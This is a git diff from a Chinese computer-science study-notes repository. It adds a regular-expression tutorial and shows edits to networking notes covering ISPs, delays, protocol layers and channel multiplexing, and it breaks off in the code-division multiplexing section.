## 2. 单值约束
|
||||
|
||||
某个属性的值是唯一的。
|
||||
|
||||
## 3. 引用完整性约束
|
||||
|
||||
一个实体的属性引用的值在另一个实体的某个属性中存在。
|
||||
|
||||
## 4. 域约束
|
||||
|
||||
某个属性的值在特定范围之内。
|
||||
|
||||
## 5. 一般约束
|
||||
|
||||
比如大小约束,数量约束。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
|
||||
- [MySQL 乐观锁与悲观锁 ](https://www.jianshu.com/p/f5ff017db62a)
|
||||
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
|
||||
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
|
||||
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
|
||||
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
|
||||
- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
|
||||
- [三级模式与两级映像](http://blog.csdn.net/d2457638978/article/details/48783923)
|
||||
- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
|
||||
- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
|
||||
- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
|
||||
- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
|
||||
- [fd945daf-4a6c-4f20-b9c2-5390f5955ce5.jpg](https://tech.meituan.com/innodb-lock.html)
|
||||
|
387
notes/正则表达式.md
Normal file
@ -0,0 +1,387 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、概述](#一概述)
|
||||
* [二、匹配单个字符](#二匹配单个字符)
|
||||
* [三、匹配一组字符](#三匹配一组字符)
|
||||
* [四、使用元字符](#四使用元字符)
|
||||
* [五、重复匹配](#五重复匹配)
|
||||
* [六、位置匹配](#六位置匹配)
|
||||
* [七、使用子表达式](#七使用子表达式)
|
||||
* [八、回溯引用](#八回溯引用)
|
||||
* [九、前后查找](#九前后查找)
|
||||
* [十、嵌入条件](#十嵌入条件)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、概述
|
||||
|
||||
正则表达式用于文本内容的查找和替换。
|
||||
|
||||
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
|
||||
|
||||
[正则表达式在线工具](http://tool.oschina.net/regex/)
|
||||
|
||||
# 二、匹配单个字符
|
||||
|
||||
正则表达式一般是区分大小写的,但是也有些实现是不区分。
|
||||
|
||||
**.** 可以用来匹配任何的单个字符,但是在绝大多数实现里面,不能匹配换行符;
|
||||
|
||||
**\\** 是元字符,表示它有特殊的含义,而不是字符本身的含义。如果需要匹配 . ,那么要用 \ 进行转义,即在 . 前面加上 \ 。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
nam.
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
My **name** is Zheng.
|
||||
|
||||
# 三、匹配一组字符
|
||||
|
||||
**[ ]** 定义一个字符集合;
|
||||
|
||||
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间只能用在 [ ] 之间。
|
||||
|
||||
**-** 元字符只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
|
||||
|
||||
**^** 是取非操作,必须在 [ ] 字符集合中使用;
|
||||
|
||||
**应用**
|
||||
|
||||
匹配以 abc 为开头,并且最后一个字母不为数字的字符串:
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
abc[^0-9]
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **abcd**
|
||||
2. abc1
|
||||
3. abc2
|
||||
|
||||
# 四、使用元字符
|
||||
|
||||
## 匹配空白字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| [\b] | 回退(删除)一个字符 |
|
||||
| \f | 换页符 |
|
||||
| \n | 换行符 |
|
||||
| \r | 回车符 |
|
||||
| \t | 制表符 |
|
||||
| \v | 垂直制表符 |
|
||||
|
||||
\r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n ;\r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
|
||||
|
||||
. 是元字符,前提是没有对它们进行转义;f 和 n 也是元字符,但是前提是对它们进行了转义。
|
||||
|
||||
## 匹配特定的字符类别
|
||||
|
||||
### 1. 数字元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \d | 数字字符,等价于 [0-9] |
|
||||
| \D | 非数字字符,等价于 [^0-9] |
|
||||
|
||||
### 2. 字母数字元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \w | 大小写字母,下划线和数字,等价于 [a-zA-Z0-9\_] |
|
||||
| \W | 对 \w 取非 |
|
||||
|
||||
### 3. 空白字符元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \s | 任何一个空白字符,等价于 [\f\n\r\t\v] |
|
||||
| \S | 对 \s 取非 |
|
||||
|
||||
\x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10 ,等价于 \n,也就是它会匹配 \n 。
|
||||
|
||||
# 五、重复匹配
|
||||
|
||||
**\+** 匹配 1 个或者多个字符, **\*** 匹配 0 个或者多个,**?** 匹配 0 个或者 1 个。
|
||||
|
||||
**应用**
|
||||
|
||||
匹配邮箱地址。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
[\w.]+@\w+\.\w+
|
||||
```
|
||||
|
||||
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
|
||||
|
||||
**匹配结果**
|
||||
|
||||
**abc.def<span>@</span>qq.com**
|
||||
|
||||
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
|
||||
|
||||
```
|
||||
[\w.]+@\w+\.\w+
|
||||
[\w.]+@[\w]+\.[\w]+
|
||||
```
|
||||
|
||||
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
|
||||
|
||||
\* 和 + 都是贪婪型元字符,会匹配最多的内容,在元字符后面加 ? 可以转换为懒惰型元字符,例如 \*?、+? 和 {m, n}? 。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
a.+c
|
||||
```
|
||||
|
||||
由于 + 是贪婪型的,因此 .+ 会匹配更可能多的内容,所以会把整个 abcabcabc 文本都匹配,而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
|
||||
|
||||
**匹配结果**
|
||||
|
||||
**abcabcabc**
|
||||
|
||||
# 六、位置匹配
|
||||
|
||||
## 单词边界
|
||||
|
||||
**\b** 可以匹配一个单词的边界,边界是指位于 \w 和 \W 之间的位置;**\B** 匹配一个不是单词边界的位置。
|
||||
|
||||
\b 只匹配位置,不匹配字符,因此 \babc\b 匹配出来的结果为 3 个字符。
|
||||
|
||||
## 字符串边界
|
||||
|
||||
**^** 匹配整个字符串的开头,**$** 匹配结尾。
|
||||
|
||||
^ 元字符在字符集合中用作求非,在字符集合外用作匹配字符串的开头。
|
||||
|
||||
使用 (?m) 来打开分行匹配模式,在该模式下,换行被当做字符串的边界。
|
||||
|
||||
**应用**
|
||||
|
||||
匹配代码中以 // 开始的注释行
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(?m)^\s*//.*$
|
||||
```
|
||||
|
||||
如果没用 (?m),则只会匹配 // 注释 1 以及之后的所有内容。用了分行匹配模式之后,换行符被当成是字符串分隔符,因此能正确匹配出两个注释内容。
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. public void fun() {
|
||||
2. **// 注释 1**
|
||||
3. int a = 1;
|
||||
4. int b = 2;
|
||||
5. **// 注释 2**
|
||||
6. int c = a + b;
|
||||
7. }
|
||||
|
||||
# 七、使用子表达式
|
||||
|
||||
使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素,即可以将它看成一个字符,并且使用 * 等元字符。
|
||||
|
||||
子表达式可以嵌套,但是嵌套层次过深会变得很难理解。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(ab) {2,}
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
**ababab**
|
||||
|
||||
**|** 是或元字符,它把左边和右边所有的部分都看成单独的两个部分,两个部分只要有一个匹配就行。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(19|20)\d{2}
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **1900**
|
||||
2. **2010**
|
||||
3. 1020
|
||||
|
||||
**应用**
|
||||
|
||||
匹配 IP 地址。IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的:
|
||||
|
||||
1. 一位或者两位的数字
|
||||
2. 1 开头的三位数
|
||||
3. 2 开头,第 2 位是 0-4 的三位数
|
||||
4. 25 开头,第 3 位是 0-5 的三位数
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(((\d{1,2})|(1\d{2})|(2[0-4]\d)|(25[0-5]))\.) {3}(((\d{1,2})|(1\d{2})|(2[0-4]\d)|(25[0-5])))
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **192.168.0.1**
|
||||
2. 555.555.555.555
|
||||
|
||||
# 八、回溯引用
|
||||
|
||||
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc,那么回溯引用部分也需要匹配 abc 。
|
||||
|
||||
**应用**
|
||||
|
||||
匹配 HTML 中合法的标题元素。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
\1 将回溯引用子表达式 (h[1-6]) 匹配的内容,也就是说必须和子表达式匹配的内容一致。
|
||||
|
||||
```
|
||||
<(h[1-6])>\w*?</\1>
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **<h1>x</h1>**
|
||||
2. **<h2>x</h2>**
|
||||
3. <h3>x</h1>
|
||||
|
||||
## 替换
|
||||
|
||||
需要用到两个正则表达式。
|
||||
|
||||
**应用**
|
||||
|
||||
修改电话号码格式。
|
||||
|
||||
**文本**
|
||||
|
||||
313-555-1234
|
||||
|
||||
**查找正则表达式**
|
||||
|
||||
```
|
||||
(\d{3})(-)(\d{3})(-)(\d{4})
|
||||
```
|
||||
|
||||
**替换正则表达式**
|
||||
|
||||
在第一个子表达式查找的结果加上 () ,然后加一个空格,在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
|
||||
|
||||
```
|
||||
($1) $3-$5
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
(313) 555-1234
|
||||
|
||||
## 大小写转换
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \l | 把下个字符转换为小写 |
|
||||
| \u| 把下个字符转换为大写 |
|
||||
| \L | 把\L 和\E 之间的字符全部转换为小写 |
|
||||
| \U | 把\U 和\E 之间的字符全部转换为大写 |
|
||||
| \E | 结束\L 或者\U |
|
||||
|
||||
**应用**
|
||||
|
||||
把文本的第二个和第三个字符转换为大写。
|
||||
|
||||
**文本**
|
||||
|
||||
abcd
|
||||
|
||||
**查找**
|
||||
|
||||
```
|
||||
(\w)(\w{2})(\w)
|
||||
```
|
||||
|
||||
**替换**
|
||||
|
||||
```
|
||||
$1\U$2\E$3
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
aBCd
|
||||
|
||||
# 九、前后查找
|
||||
|
||||
前后查找规定了匹配的内容首尾应该匹配的内容,但是又不包含首尾匹配的内容。向前查找用 **?=** 来定义,它规定了尾部匹配的内容,这个匹配的内容在 ?= 之后定义。所谓向前查找,就是规定了一个匹配的内容,然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义。
|
||||
|
||||
**应用**
|
||||
|
||||
查找出邮件地址 @ 字符前面的部分。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
\w+(?=@)
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
**abc** @qq.com
|
||||
|
||||
对向前和向后查找取非,只要把 = 替换成 ! 即可,比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
|
||||
|
||||
# 十、嵌入条件
|
||||
|
||||
## 回溯引用条件
|
||||
|
||||
条件判断为某个子表达式是否匹配,如果匹配则需要继续匹配条件表达式后面的内容。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
子表达式 (\\() 匹配一个左括号,其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件,当子表达式 1 匹配时条件成立,需要执行 \) 匹配,也就是匹配右括号。
|
||||
|
||||
```
|
||||
(\()?abc(?(1)\))
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
1. **(abc)**
|
||||
2. **abc**
|
||||
3. (abc
|
||||
|
||||
## 前后查找条件
|
||||
|
||||
条件为定义的首尾是否匹配,如果匹配,则继续执行后面的匹配。注意,首尾不包含在匹配的内容中。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
?(?=-) 为前向查找条件,只有在以 - 为前向查找的结尾能匹配 \d{5} ,才继续匹配 -\d{4} 。
|
||||
|
||||
```
|
||||
\d{5}(?(?=-)-\d{4})
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
1. **11111**
|
||||
2. 22222-
|
||||
3. **33333-4444**
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
|
936
notes/算法.md
683
notes/计算机操作系统.md
497
notes/计算机网络.md
@ -1,64 +1,38 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [第一章 概述](#第一章-概述)
|
||||
* [一、概述](#一概述)
|
||||
* [网络的网络](#网络的网络)
|
||||
* [ISP](#isp)
|
||||
* [互联网的组成](#互联网的组成)
|
||||
* [主机之间的通信方式](#主机之间的通信方式)
|
||||
* [电路交换与分组交换](#电路交换与分组交换)
|
||||
* [1. 电路交换](#1-电路交换)
|
||||
* [2. 报文交换](#2-报文交换)
|
||||
* [3. 分组交换](#3-分组交换)
|
||||
* [时延](#时延)
|
||||
* [1. 发送时延](#1-发送时延)
|
||||
* [2. 传播时延](#2-传播时延)
|
||||
* [3. 处理时延](#3-处理时延)
|
||||
* [4. 排队时延](#4-排队时延)
|
||||
* [计算机网络体系结构*](#计算机网络体系结构)
|
||||
* [1. 七层协议](#1-七层协议)
|
||||
* [2. 五层协议](#2-五层协议)
|
||||
* [3. 数据在各层之间的传递过程](#3-数据在各层之间的传递过程)
|
||||
* [4. TCP/IP 体系结构](#4-tcpip-体系结构)
|
||||
* [第二章 物理层](#第二章-物理层)
|
||||
* [二、物理层](#二物理层)
|
||||
* [通信方式](#通信方式)
|
||||
* [带通调制](#带通调制)
|
||||
* [信道复用技术](#信道复用技术)
|
||||
* [1. 频分复用、时分复用](#1-频分复用时分复用)
|
||||
* [2. 统计时分复用](#2-统计时分复用)
|
||||
* [3. 波分复用](#3-波分复用)
|
||||
* [4. 码分复用](#4-码分复用)
|
||||
* [第三章 数据链路层](#第三章-数据链路层)
|
||||
* [三、数据链路层](#三数据链路层)
|
||||
* [信道分类](#信道分类)
|
||||
* [三个基本问题](#三个基本问题)
|
||||
* [1. 封装成帧](#1-封装成帧)
|
||||
* [2. 透明传输](#2-透明传输)
|
||||
* [3. 差错检测](#3-差错检测)
|
||||
* [点对点信道 - PPP 协议](#点对点信道---ppp-协议)
|
||||
* [局域网的拓扑](#局域网的拓扑)
|
||||
* [广播信道 - CSMA/CD 协议*](#广播信道---csmacd-协议)
|
||||
* [集线器](#集线器)
|
||||
* [局域网](#局域网)
|
||||
* [PPP 协议](#ppp-协议)
|
||||
* [CSMA/CD 协议*](#csmacd-协议)
|
||||
* [扩展局域网*](#扩展局域网)
|
||||
* [MAC 层*](#mac-层)
|
||||
* [虚拟局域网](#虚拟局域网)
|
||||
* [第四章 网络层*](#第四章-网络层)
|
||||
* [四、网络层*](#四网络层)
|
||||
* [网际协议 IP 概述](#网际协议-ip-概述)
|
||||
* [IP 数据报格式](#ip-数据报格式)
|
||||
* [IP 地址编址](#ip-地址编址)
|
||||
* [1. 分类](#1-分类)
|
||||
* [2. 子网划分](#2-子网划分)
|
||||
* [3. 无分类](#3-无分类)
|
||||
* [IP 地址编址方式](#ip-地址编址方式)
|
||||
* [IP 地址和 MAC 地址](#ip-地址和-mac-地址)
|
||||
* [地址解析协议 ARP](#地址解析协议-arp)
|
||||
* [路由器的结构](#路由器的结构)
|
||||
* [交换机与路由器的区别](#交换机与路由器的区别)
|
||||
* [路由器分组转发流程](#路由器分组转发流程)
|
||||
* [路由选择协议](#路由选择协议)
|
||||
* [1. 内部网关协议 RIP](#1-内部网关协议-rip)
|
||||
* [2. 内部网关协议 OSPF](#2-内部网关协议-ospf)
|
||||
* [3. 外部网关协议 BGP](#3-外部网关协议-bgp)
|
||||
* [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
|
||||
* [分组网间探测 PING](#分组网间探测-ping)
|
||||
* [IP 多播](#ip-多播)
|
||||
* [Traceroute](#traceroute)
|
||||
* [虚拟专用网 VPN](#虚拟专用网-vpn)
|
||||
* [网络地址转换 NAT](#网络地址转换-nat)
|
||||
* [第五章 运输层*](#第五章-运输层)
|
||||
* [五、运输层*](#五运输层)
|
||||
* [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
|
||||
* [UDP 首部格式](#udp-首部格式)
|
||||
* [TCP 首部格式](#tcp-首部格式)
|
||||
@ -68,19 +42,11 @@
|
||||
* [TCP 可靠传输](#tcp-可靠传输)
|
||||
* [TCP 流量控制](#tcp-流量控制)
|
||||
* [TCP 拥塞控制](#tcp-拥塞控制)
|
||||
* [慢开始与拥塞避免](#慢开始与拥塞避免)
|
||||
* [快重传与快恢复](#快重传与快恢复)
|
||||
* [第六章 应用层*](#第六章-应用层)
|
||||
* [六、应用层*](#六应用层)
|
||||
* [域名系统 DNS](#域名系统-dns)
|
||||
* [1. 层次结构](#1-层次结构)
|
||||
* [2. 解析过程](#2-解析过程)
|
||||
* [文件传输协议 FTP](#文件传输协议-ftp)
|
||||
* [远程终端协议 TELNET](#远程终端协议-telnet)
|
||||
* [万维网 WWW](#万维网-www)
|
||||
* [电子邮件协议](#电子邮件协议)
|
||||
* [POP3](#pop3)
|
||||
* [IMAP](#imap)
|
||||
* [SMTP](#smtp)
|
||||
* [动态主机配置协议 DHCP](#动态主机配置协议-dhcp)
|
||||
* [点对点传输 P2P](#点对点传输-p2p)
|
||||
* [Web 页面请求过程](#web-页面请求过程)
|
||||
@ -89,44 +55,40 @@
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 第一章 概述
|
||||
# 一、概述
|
||||
|
||||
## 网络的网络
|
||||
|
||||
网络把主机连接起来,而互联网是把多种不同的网络连接起来,因此互联网是网络的网络。
|
||||
|
||||
<div align="center"> <img src="../pics//f1fb826b-ecf4-4ddb-91f0-2bafecf08869.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//network-of-networks.gif"/> </div><br>
|
||||
|
||||
## ISP
|
||||
|
||||
互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址,同时拥有通信线路以及路由器等联网设备,个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
|
||||
|
||||
<div align="center"> <img src="../pics//46cec213-3048-4a80-aded-fdd577542801.jpg"/> </div><br>
|
||||
|
||||
目前的互联网是一种多层次 ISP 结构,ISP 根据覆盖面积的大小分为主干 ISP、地区 ISP 和本地 ISP。
|
||||
|
||||
互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
|
||||
|
||||
<div align="center"> <img src="../pics//0f8c0a60-d4c6-47f4-978d-1a5c393fedac.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//Technology-ComputerNetworking-Internet-ISPs.png"/> </div><br>
|
||||
|
||||
## 互联网的组成
|
||||
|
||||
1. 边缘部分:所有连接在互联网上的主机,用户可以直接使用;
|
||||
2. 核心部分:由大量的网络和连接这些网络的路由器组成,为边缘部分的主机提供服务。
|
||||
|
||||
<div align="center"> <img src="../pics//8ab40d6d-bd7c-47d3-afe8-6a8bc9f5d04c.jpg"/> </div><br>
|
||||
|
||||
## 主机之间的通信方式
|
||||
|
||||
**1. 客户-服务器(C/S)**
|
||||
1. 客户-服务器(C/S):客户是服务的请求方,服务器是服务的提供方。
|
||||
|
||||
客户是服务的请求方,服务器是服务的提供方。
|
||||
2. 对等(P2P):不区分客户和服务器。
|
||||
|
||||
**2. 对等(P2P)**
|
||||
|
||||
不区分客户和服务器。
|
||||
<div align="center"> <img src="../pics//2ad244f5-939c-49fa-9385-69bc688677ab.jpg"/> </div><br>
|
||||
|
||||
## 电路交换与分组交换
|
||||
|
||||
<div align="center"> <img src="../pics//c50d230c-8b89-4644-8f62-8708d03aac5b.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//eebdeb57-8efb-4848-9bb6-97512990897c.jpg"/> </div><br>
|
||||
|
||||
(以上分别为:电路交换、报文交换以及分组交换)
|
||||
|
||||
### 1. 电路交换
|
||||
|
||||
@ -140,9 +102,7 @@
|
||||
|
||||
分组交换也使用了存储转发,但是转发的是分组而不是报文。把整块数据称为一个报文,由于一个报文可能很长,需要先进行切分,来满足分组能处理的大小。在每个切分的数据前面加上首部之后就成为了分组,首部包含了目的地址和源地址等控制信息。
|
||||
|
||||
<div align="center"> <img src="../pics//2366c2ad-5859-4d4e-805f-7e2b88061cd8.jpg"/> </div><br>
|
||||
|
||||
存储转发允许在一条传输线路上传送多个主机的分组,因此两个用户之间的通信不需要占用端到端的线路资源。
|
||||
存储转发允许在一条传输线路上传送多个主机的分组,也就是说两个用户之间的通信不需要占用端到端的线路资源。
|
||||
|
||||
相比于报文交换,由于分组比报文更小,因此分组交换的存储转发速度更加快速。
|
||||
|
||||
@ -150,7 +110,7 @@
|
||||
|
||||
总时延 = 发送时延 + 传播时延 + 处理时延 + 排队时延
|
||||
|
||||
<div align="center"> <img src="../pics//ceee91c2-da26-4169-94c3-e4608b46b9ac.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//3939369b-3a4a-48a0-b9eb-3efae26dd400.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 发送时延
|
||||
|
||||
@ -170,7 +130,7 @@
|
||||
|
||||
### 3. 处理时延
|
||||
|
||||
主机或路由器收到分组时进行处理所需要的时间,例如分析首部,从分组中提取数据部分等。
|
||||
主机或路由器收到分组时进行处理所需要的时间,例如分析首部、从分组中提取数据部、进行差错检验或查找适当的路由等。
|
||||
|
||||
### 4. 排队时延
|
||||
|
||||
@ -178,7 +138,7 @@
|
||||
|
||||
## 计算机网络体系结构*
|
||||
|
||||
<div align="center"> <img src="../pics//1005dc9d-9049-4b06-9524-6171e56ebd8c.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//426df589-6f97-4622-b74d-4a81fcb1da8e.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 七层协议
|
||||
|
||||
@ -193,11 +153,11 @@
|
||||
|
||||
2. 运输层:提供的是进程间的通用数据传输服务。由于应用层协议很多,定义通用的运输层协议就可以支持不断增多的应用层协议。运输层包括两种协议:传输控制协议 TCP,提供面向连接、可靠的数据传输服务,数据单位为报文段;用户数据报协议 UDP,提供无连接、尽最大努力的数据传输服务,数据单位为用户数据报。TCP 主要提供完整性服务,UDP 主要提供及时性服务。
|
||||
|
||||
3. 网络层:为主机之间提供服务,而不是像运输层协议那样是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组来进行传输。
|
||||
3. 网络层:为主机之间提供数据传输服务,而运输层协议是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
|
||||
|
||||
4. 数据链路层:网络层针对的还是主机之间,而主机之间可以有很多链路,链路层协议就是为相邻结点之间提供服务。数据链路层把网络层传来的分组封装成帧。
|
||||
4. 数据链路层:网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为同一链路的结点提供服务。数据链路层把网络层传来的分组封装成帧。
|
||||
|
||||
5. 物理层:考虑的是怎样在传输媒体上传输数据比特流,而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异,使物理层上的数据链路层感觉不到这些差异。
|
||||
5. 物理层:考虑的是怎样在传输媒体上传输数据比特流,而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异,使数据链路层感觉不到这些差异。
|
||||
|
||||
### 3. 数据在各层之间的传递过程
|
||||
|
||||
@ -205,7 +165,7 @@
|
||||
|
||||
路由器只有下面三层协议,因为路由器位于网络核心中,不需要为进程或者应用程序提供服务,因此也就不需要运输层和应用层。
|
||||
|
||||
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
|
||||
|
||||
### 4. TCP/IP 体系结构
|
||||
|
||||
@ -213,13 +173,13 @@
|
||||
|
||||
现在的 TCP/IP 体系结构不严格遵循 OSI 分层概念,应用层可能会直接使用 IP 层或者网络接口层。
|
||||
|
||||
<div align="center"> <img src="../pics//37b74a34-251c-45f8-88a4-614ec953f7e9.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//45e0e0bf-386d-4280-a341-a0b9496c7674.png" width="400"/> </div><br>
|
||||
|
||||
TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中占用举足轻重的地位。
|
||||
|
||||
<div align="center"> <img src="../pics//93cbce0c-c37d-429c-815b-861976a46bd8.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//d4eef1e2-5703-4ca4-82ab-8dda93d6b81f.png" width="500"/> </div><br>
|
||||
|
||||
# 第二章 物理层
|
||||
# 二、物理层
|
||||
|
||||
## 通信方式
|
||||
|
||||
@ -231,7 +191,7 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
模拟信号是连续的信号,数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
|
||||
|
||||
<div align="center"> <img src="../pics//d2c55c84-aa1f-43c1-bd97-457bcb7816b3.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7b68b142-9489-44f6-87b0-4cb5c6431e63.jpg" width="600"/> </div><br>
|
||||
|
||||
## 信道复用技术
|
||||
|
||||
@ -239,29 +199,29 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
频分复用的所有用户在相同的时间占用不同的频率带宽资源;时分复用的所有用户在不同的时间占用相同的频率带宽资源。
|
||||
|
||||
使用这两种方式进行通信,在通信的过程中用户会一直占用一部分信道资源。但是由于计算机数据的突发性质,没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
|
||||
使用这两种方式进行通信,在通信的过程中用户会一直占用一部分信道资源。但是由于计算机数据的突发性质,通信过程没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
|
||||
|
||||
<div align="center"> <img src="../pics//543d47a1-f0dd-414f-b23c-0c142c814854.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f3bfe11f-9cba-4ff2-8cc6-629068408a80.jpg" width="600"/> </div><br>
|
||||
|
||||
### 2. 统计时分复用
|
||||
|
||||
是对时分复用的一种改进,不固定每个用户在时分复用帧中的位置,只要有数据就集中起来组成统计时分复用帧然后发送。
|
||||
|
||||
<div align="center"> <img src="../pics//29058e09-bb72-4040-a73d-4c497895e9ce.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png" width="700"/> </div><br>
|
||||
|
||||
### 3. 波分复用
|
||||
|
||||
光的频分复用。由于光的频率很高,因此习惯上用波长而不是频率来表示所使用的光载波。
|
||||
|
||||
<div align="center"> <img src="../pics//78534153-88d1-4f83-a6e0-59064dbdc43a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//21041ec2-babb-483f-bf47-8b8148eec162.png" width="700"/> </div><br>
|
||||
|
||||
### 4. 码分复用
|
||||
|
||||
为每个用户分配 m bit 的码片,并且所有的码片正交,对于任意两个码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 和 <img src="https://latex.codecogs.com/gif.latex?\vec{T}"/> 有
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\vec{S}\cdot\vec{T}=0"/></div> <br>
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
|
||||
|
||||
为了方便,取 m=8,设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
|
||||
为了讨论方便,取 m=8,设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
|
||||
|
||||
在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1),可以得到
|
||||
|
||||
